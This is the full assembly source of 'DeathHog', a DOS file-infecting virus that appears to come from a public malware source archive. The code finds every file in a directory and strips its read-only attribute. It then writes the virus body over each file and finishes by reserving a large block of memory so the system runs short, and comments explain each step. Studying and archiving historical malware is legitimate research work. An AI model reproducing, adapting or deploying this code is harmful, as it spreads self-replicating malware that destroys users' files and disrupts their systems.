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https://github.com/vxunderground/MalwareSourceCode
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65 lines
2.2 KiB
NASM
65 lines
2.2 KiB
NASM
; DeathHog, (will defeat read-only files and appends itself to all
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; files)
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; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
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; r/w access, nuisance routines supplied by KOUCH
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;
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; Appended by Kouch, derived from DeathCow/Define (author unknown)
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virus_length equ finish - start
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code segment 'CODE'
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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start label near
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main proc near
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mov ah,04Eh ; DOS find first file function
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mov dx,offset file_spec ; DX points to "*.*" - any file
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int 021h
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infect_file : mov ah,43H ;the beginning of this
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mov al,0 ;routine gets the file's
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mov dx,09Eh ;attribute and changes it
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int 21H ;to r/w access so that when
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;it comes time to open the
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mov ah,43H ;file, the virus can easily
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mov al,1 ;defeat files with a 'read only'
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mov dx,09Eh ;attribute. It leaves the file r/w,
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mov cl,0 ;because who checks that, anyway?
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int 21H
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mov ax,03D01h ; DOS open file function, write-only
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mov dx,09Eh ; DX points to the found file
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,040h ; DOS write to file function
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mov cl,virus_length ; CL holds # of bytes to write
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mov dx,offset main ; DX points to start of code
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ah,04Fh ; DOS find next file function
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int 021h
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jnc infect_file ; Infect next file, if found
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mov ah,31h ;insert 480K memory balloon
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mov dx,7530h ;for nuisance value
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int 21H ;it's big enough so 'out of
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;memory' messages will start cropping up quickly
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; RETurn to DOS
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file_spec db "*.*",0 ; Files to infect: apped to all files
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main endp
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finish label near
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code ends
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end main
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